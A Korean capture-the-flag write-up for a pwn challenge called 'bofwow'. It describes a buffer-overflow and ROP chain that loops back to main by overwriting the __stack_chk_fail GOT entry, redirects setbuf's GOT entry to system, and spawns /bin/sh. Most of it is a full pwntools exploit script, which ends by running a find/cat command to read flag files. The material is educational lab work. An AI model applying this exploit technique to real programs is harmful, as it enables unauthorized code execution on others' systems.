이 문제는 bofww 문제에서 win() 함수가 제거된 문제이므로 분석에 관련한 문제는 bofww 문제 풀이를 참고
익스플로잇 순서는 다음과 같다.
system 함수에서 쉘을 실행하기 위해 /bin/sh 문자열 쓰기setbuf의 주소를 leak하여 base 주소를 알아낸 후, system 함수의 주소를 계산하기system(”/bin/sh”) 실행이 문제를 풀기 위해서는 BOF(Buffer Overflow)와 ROP(Return Orianted Programming)를 이용하여 main으로 되돌아가며 AAW(임의 주소 쓰기, ArbitraryAddressWrite)를 진행할 수 있다.
다음은 main 함수로 이동하는 AAW Chain 함수이다.
def aaw(addr, value):
payload = p64(value)
payload += b"\x00" * 0x128
payload += p64(addr)
payload += p64(0x1000)
payload += p64(0x1000)
p.sendlineafter(b"What is your first name? ", payload)
p.sendlineafter(b"How old are you? ", b'0')
우선 사용 가능한 가젯들은 다음과 같다.
0x4014c2 → mov rbx, dword ptr [rbp - 8] ; leave ; retrbp - 8 → system ←→ setbuf의 오프셋0x4012bc → add dword ptr [rbp - 0x3d], ebx ; nop ; ret**rbp - 0x3d** → setbuf의 주소ebx → system ←→ setbuf의 오프셋system 주소를 계산하는 가젯0x4015a3 → mov rax, qword ptr [rbp - 0x18] ; leave ; ret rbp - 0x18 → system의 주소0x401247 → mov edi, 0x4040a0 ; jmp rax0x4040a0을 edi에 복사하여 jmp rax로 rax에 저장된 값인 system으로 이동0x4013a3 → leave ; ret0x40101a → retsystem 함수 실행에 필요한 데이터가 저장되는 곳은 다음과 같다.
0x4040a0 → "/bin/sh\00"0x404f00 ~ ??? → system 주소 계산에 필요한 가젯 또는 main이 저장이 저장되는 위치0x404f00 → setbuf의 GOT + 0x3d0x404f00 + 8 → 0x4012bc0x404f00 + 0x10 → main0x404f00 - 8 → offset 0xfffc8d00 + 4memcopy 호출 전, strlen 함수를 통해 복사할 값의 길이를 구할 때 null-byte를 만나 value의 길이를 알아내지 못하여 addr에 값이 쓰이지 못하는 경우를 피하기 위해서이다.0x404f38 → system 함수 호출을 위해 필요한 인자가 저장되는 위치.setbuf의 GOT → 최종적으로 system 함수를 호출하는 가젯이 저장되는 위치.setbuf의 GOT + 0x18 → 0x404f38setbuf의 GOT + 0x20 → 0x4013a3from pwn import *
from pwn import p64, u64
def slog(n, m): return success(': '.join([n, hex(m)]))
ld = ELF("./ld-2.35.so")
e = ELF("./bofwow_patched")
libc = ELF('./libc.so.6')
# p = process([e.path])
p = remote('127.0.0.1', 9003)
# set breakpoint...
breakpoint = {
'set_name': 0x000000000040137a,
'memcopy': '_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_replaceEmmPKcm+192'
}
gdbscript = '''
b *{}
b *{}
c\nc\nc\nc\nc\nc\nc\nc\nc\nc\nc\n
'''.format(breakpoint['set_name'], breakpoint['memcopy'])
context.terminal = [
'tmux',
'new-window',
'-n',
'DEBUG-{}'.format(sys.argv[0])
]
if len(sys.argv) > 1:
if sys.argv[1] == 'debug':
context.log_level = 'debug'
attach(p, gdbscript)
else:
pass
def aaw(addr, value):
payload = p64(value)
payload += b"\x00" * 0x128
payload += p64(addr)
payload += p64(0x1000)
payload += p64(0x1000)
p.sendlineafter(b"What is your first name? ", payload)
p.sendlineafter(b"How old are you? ", b'0')
def infinite_loop():
# Get infinite loop
payload = p64(main) # new ptr
payload += b"\x00" * 0x128 # char _name[0x100] <==> string name
payload += p64(stack_chk_failed_got) # string ptr(old)
payload += p64(0x1000) # len
payload += p64(0x1000) # capacity
p.sendlineafter(b"What is your first name? ", payload)
p.sendlineafter(b"How old are you? ", b'0')
main = e.symbols['main']
stack_chk_failed_got = e.got['__stack_chk_fail']
# AAW
infinite_loop()
# [1] Write "/bin/sh\x00" --> 0x4040a0
aaw(0x4040a0, u64(b'/bin/sh\x00'))
# [2] Calculate system()
addr_chain = 0x404f00
# 0x404f00 + 8 --> 0x4012bc
# 0x4012bc --> add dword ptr [rbp - 0x3d], ebx ; nop ; ret
prepare_gadget_1 = 0x4012bc
aaw(addr_chain + 0x8, prepare_gadget_1)
# 0x404f00 + 16 --> main()
aaw(addr_chain + 0x10, main)
# Calculate system address
# system + 4 --> avoid null-byte
# offset = (libc.symbols['system'] + 4) - libc.symbols['setbuf']
offset = 0xfffffffffffc8d00 + 4
aaw(addr_chain - 0x8, offset) # setbuf <==> system offset in libc
aaw(addr_chain, e.got['setbuf'] + 0x3d)
ret = 0x40101a
# 0x4014c2 --> mov rbx, dword ptr [rbp - 8] ; leave ; ret
prepare_gadget_2 = 0x4014c2
payload = p64(ret)
payload += b'\x00' * 0x108
payload += p64(addr_chain) # rbp
payload += p64(prepare_gadget_2)
payload += b'\x00' * 0x10
payload += p64(stack_chk_failed_got) # addr
payload += p64(0x1000) # len
payload += p64(0x1000) # capacity
p.sendlineafter(b"What is your first name? ", payload)
p.sendlineafter(b"How old are you? ", b'0')
# Set infinite loop
infinite_loop()
# [3] Set system() arguments gadget
addr_chain = 0x404f38 # avoid null-byte
# 0x401247 --> mov edi, 0x4040a0 ; jmp rax
prepare_gadget_1 = 0x401247
leave_ret = 0x4013a3
aaw(addr_chain + 0x8, prepare_gadget_1)
aaw(e.got['setbuf'] + 0x18, addr_chain)
aaw(e.got['setbuf'] + 0x20, leave_ret)
# [4] Run system('/bin/sh')
# 0x4015a3 --> mov rax, qword ptr [rbp - 0x18] ; leave ; ret
prepare_gadget_2 = 0x4015a3
payload = p64(ret)
payload += b'\x00' * 0x108
payload += p64(e.got['setbuf'] + 0x18) # rbp
payload += p64(prepare_gadget_2)
payload += b'\x00' * 0x10
payload += p64(stack_chk_failed_got)
payload += p64(0x1000) # len
payload += p64(0x1000) # capacity
p.sendlineafter(b"What is your first name? ", payload)
p.sendlineafter(b"How old are you? ", b'0')
# Get flag!
p.sendline(b'find / -name "flag-*.txt" -exec cat {} \; 2>/dev/null')
p.interactive()
